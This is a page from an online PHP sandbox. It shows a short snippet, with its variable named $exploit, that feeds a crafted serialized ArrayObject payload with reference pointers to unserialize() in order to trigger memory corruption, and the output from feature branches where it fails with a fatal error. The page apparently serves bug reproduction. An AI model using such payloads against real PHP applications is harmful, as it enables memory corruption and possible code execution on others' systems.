3v4l.org

run code in 300+ PHP versions simultaneously
<?php class test { var $ryat; function __wakeup() { $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for git.master, git.master_jit, rfc.property-hooks
Fatal error: Uncaught UnexpectedValueException: Error at offset 36 of 53 bytes in /in/EpJhl:15 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:4:"test...') #1 /in/EpJhl(15): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/EpJhl on line 15
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
72.7 ms | 401 KiB | 8 Q